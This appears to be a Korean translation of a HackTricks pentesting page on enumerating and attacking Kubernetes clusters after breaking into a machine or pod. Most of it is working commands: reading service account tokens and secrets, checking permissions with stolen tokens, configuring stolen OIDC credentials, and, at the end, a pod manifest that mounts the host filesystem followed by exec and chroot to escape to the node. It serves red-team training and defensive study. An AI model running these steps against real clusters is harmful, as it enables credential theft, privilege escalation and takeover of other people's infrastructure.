Kubernetes Enumeration

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Kubernetes 토큰

사용자가 기계에 침투한 경우 사용자는 일부 Kubernetes 플랫폼에 액세스 할 수 있습니다. 토큰은 일반적으로 env var KUBECONFIG 또는 **~/.kube**에 지정된 파일에 위치합니다.

이 폴더에서는 API 서버에 연결하기 위한 토큰 및 구성을 포함하는 구성 파일을 찾을 수 있습니다. 이 폴더에서는 이전에 검색한 정보가 포함된 캐시 폴더도 찾을 수 있습니다.

Kubernetes 환경 내에서 pod에 침투한 경우 현재 K8 환경에 대한 토큰 및 정보를 찾을 수 있는 다른 위치도 있습니다.

서비스 계정 토큰

계속하기 전에 Kubernetes에서 서비스가 무엇인지 모르는 경우 이 링크를 따라가서 Kubernetes 아키텍처에 대한 정보를 적어도 읽어보세요.

Kubernetes 문서에서 가져온 내용입니다.

"파드를 생성할 때 서비스 계정을 지정하지 않으면 동일한 네임스페이스의 default 서비스 계정이 자동으로 할당됩니다."

ServiceAccount는 Kubernetes에서 관리되는 객체로, 파드에서 실행되는 프로세스에 식별 정보를 제공하는 데 사용됩니다. 각 서비스 계정에는 해당하는 비밀 토큰이 포함된 비밀이 있습니다. 이는 JSON Web Token (JWT)으로, 두 개체 간에 안전하게 클레임을 나타내는 방법입니다.

일반적으로 다음 중 하나의 디렉토리에 위치합니다.

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

다음 파일이 포함되어 있습니다.

  • ca.crt: Kubernetes 통신을 확인하기 위한 ca 인증서입니다.

  • namespace: 현재 네임스페이스를 나타냅니다.

  • token: 현재 pod의 서비스 토큰을 포함합니다.

이제 토큰을 얻었으므로, 환경 변수 **KUBECONFIG에서 API 서버를 찾을 수 있습니다. 자세한 정보는 (env | set) | grep -i "kuber|kube"**를 실행하세요.

서비스 계정 토큰은 sa.key 파일에 있는 키로 서명되고 sa.pub에 의해 유효성이 검사됩니다.

Kubernetes의 기본 위치:

  • /etc/kubernetes/pki

Minikube의 기본 위치:

  • /var/lib/localkube/certs

핫 팟

_핫 팟_은 특권 서비스 계정 토큰을 포함하는 팟입니다. 특권 서비스 계정 토큰은 비밀을 나열하거나 파드를 생성하는 등 특권 작업을 수행할 수 있는 권한이 있는 토큰입니다.

RBAC

RBAC이 무엇인지 모르는 경우 이 섹션을 읽으세요.

열거 체크시트

K8s 환경을 열거하려면 다음이 필요합니다.

  • 유효한 인증 토큰. 이전 섹션에서 사용자 토큰과 서비스 계정 토큰을 검색할 위치를 확인했습니다.

  • Kubernetes API의 주소 (https://host:port). 이는 일반적으로 환경 변수와/또는 kube 구성 파일에서 찾을 수 있습니다.

  • 선택 사항: API 서버를 확인하기 위한 ca.crt. 이는 토큰을 찾을 수 있는 장소와 동일한 위치에서 찾을 수 있습니다. 이는 API 서버 인증서를 확인하는 데 유용하지만, kubectl에서 --insecure-skip-tls-verify 또는 curl에서 -k를 사용하면 필요하지 않습니다.

이러한 세부 정보를 사용하여 Kubernetes를 열거할 수 있습니다. API가 인터넷을 통해 접근 가능한 경우 호스트에서 해당 정보를 다운로드하여 플랫폼을 열거할 수 있습니다.

그러나 일반적으로 API 서버는 내부 네트워크에 있으므로 침투한 기계를 통해 해당 기계에서 액세스하거나 kubectl 바이너리를 업로드하거나 curl/wget/anything을 사용하여 API 서버에 대한 원시 HTTP 요청을 수행해야 합니다.

listget 동사 간의 차이점

get 권한을 사용하면 특정 자산의 정보에 액세스할 수 있습니다 (kubectldescribe 옵션). API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

만약 list 권한이 있다면, 특정 자산 유형을 나열하기 위해 API 요청을 실행할 수 있습니다 (kubectlget 옵션):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

만약 watch 권한이 있다면, 자산을 모니터링하기 위해 API 요청을 실행할 수 있습니다:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

그들은 변경될 때마다 (또는 새로운 것이 생성될 때) Deployment의 전체 매니페스트를 반환하는 스트리밍 연결을 엽니다.

다음 kubectl 명령어는 객체를 나열하는 방법만 나타냅니다. 데이터에 액세스하려면 get 대신 describe를 사용해야합니다.

curl 사용

팟 내부에서 여러 환경 변수를 사용할 수 있습니다.

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

기본적으로 pod는 도메인 이름 kubernetes.default.svc에서 kube-api 서버에 접근할 수 있으며, **/etc/resolv.config**에서 kube 네트워크를 확인할 수 있습니다. 여기에서 kubernetes DNS 서버의 주소를 찾을 수 있습니다 (동일한 범위의 ".1"은 kube-api 엔드포인트입니다).

kubectl 사용

토큰과 API 서버의 주소를 가지고 있으면 다음과 같이 kubectl 또는 curl을 사용하여 액세스할 수 있습니다:

기본적으로 APISERVER는 https:// 스키마로 통신합니다.

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

만약 URL에 https://가 없다면, 잘못된 요청과 같은 오류가 발생할 수 있습니다.

여기에서 공식 kubectl 치트시트를 찾을 수 있습니다. 다음 섹션에서는 액세스를 얻은 새로운 K8s를 열거하고 이해하기 위한 다양한 옵션을 정렬된 방식으로 제시하는 것이 목표입니다.

kubectl이 보내는 HTTP 요청을 찾으려면 -v=8 매개변수를 사용할 수 있습니다.

MitM kubectl - kubectl 프록시 설정

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

현재 구성

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

만약 일부 사용자 자격 증명을 훔쳤다면, 다음과 같이 로컬로 구성할 수 있습니다:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

지원되는 리소스 가져오기

이 정보를 통해 나열할 수 있는 모든 서비스를 알 수 있습니다.

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

현재 권한 가져오기

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

API

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

다른 권한을 얻는 방법은 다음과 같습니다.

k get roles
k get clusterroles

API

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

네임스페이스 가져오기

Kubernetes는 동일한 물리 클러스터를 지원하는 여러 가상 클러스터를 지원합니다. 이러한 가상 클러스터를 네임스페이스라고 합니다.

k get namespaces

API

kurl -k -v https://$APISERVER/api/v1/namespaces/

비밀 가져오기

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

시크릿을 읽을 수 있다면 다음 라인을 사용하여 각 토큰과 관련된 권한을 얻을 수 있습니다:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

서비스 계정 가져오기

이 페이지의 시작 부분에서 언급한 대로, 팟이 실행될 때 일반적으로 서비스 계정이 할당됩니다. 따라서 서비스 계정, 그들의 권한 및 실행 위치를 나열함으로써 사용자는 권한 상승을 할 수 있을 수도 있습니다.

k get serviceaccounts

API

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

배포 가져오기

배포는 실행되어야 하는 구성 요소를 지정합니다.

.k get deployments
k get deployments -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

파드 가져오기

파드는 실제로 실행될 컨테이너입니다.

k get pods
k get pods -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

서비스 가져오기

Kubernetes 서비스특정 포트와 IP에서 서비스를 노출하는 데 사용됩니다 (실제로 서비스를 제공하는 팟에 대한 로드 밸런서 역할을 합니다). 이는 공격을 시도할 수 있는 다른 서비스를 찾을 수 있는 위치를 알 수 있는데 흥미로울 것입니다.

k get services
k get services -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

노드 가져오기

클러스터 내에서 구성된 모든 노드를 가져옵니다.

k get nodes

API

kurl -v https://$APISERVER/api/v1/nodes/

데몬셋 가져오기

데몬셋(DaemonSets) 은 클러스터의 모든 노드(또는 선택된 노드)에서 특정 파드가 실행되도록 보장합니다. 데몬셋을 삭제하면 해당 데몬셋으로 관리되는 파드도 함께 제거됩니다.

k get daemonsets

API

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

크론잡 가져오기

크론잡은 crontab과 유사한 구문을 사용하여 일부 작업을 수행하는 파드의 예약 실행을 가능하게 합니다.

k get cronjobs

API

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

configMap 가져오기

configMap은 항상 많은 정보와 앱이 kubernetes에서 실행되는 구성 파일을 포함합니다. 일반적으로 내부/외부 서비스에 연결하고 인증하는 데 사용되는 많은 비밀번호, 비밀 토큰 등을 찾을 수 있습니다.

k get configmaps # -n namespace

API

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

"모두" 가져오기

k get all

Pods 소비량 가져오기

k top pod --all-namespaces

파드에서 탈출하기

새로운 파드를 생성할 수 있다면 해당 파드에서 노드로 탈출할 수 있습니다. 이를 위해 yaml 파일을 사용하여 새로운 파드를 생성하고, 생성된 파드로 전환한 다음 노드의 시스템으로 chroot를 실행해야 합니다. 이미 존재하는 파드를 참조하여 yaml 파일을 작성할 수 있으며, 해당 파드는 이미지와 경로를 표시하고 있습니다.

kubectl get pod <name> [-n <namespace>] -o yaml

특정 노드에 파드를 생성해야 하는 경우, 다음 명령을 사용하여 노드의 레이블을 얻을 수 있습니다.

k get nodes --show-labels

일반적으로, kubernetes.io/hostname과 node-role.kubernetes.io/master는 선택하는 데 좋은 레이블입니다.

그런 다음 attack.yaml 파일을 생성합니다.

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

원본 yaml 소스

그 후에는 pod를 생성합니다.

kubectl apply -f attacker.yaml [-n <namespace>]

이제 다음과 같이 생성된 pod로 전환할 수 있습니다.

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

그리고 마지막으로 노드의 시스템에 chroot를 실행합니다.

chroot /root /bin/bash

참고 자료

htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新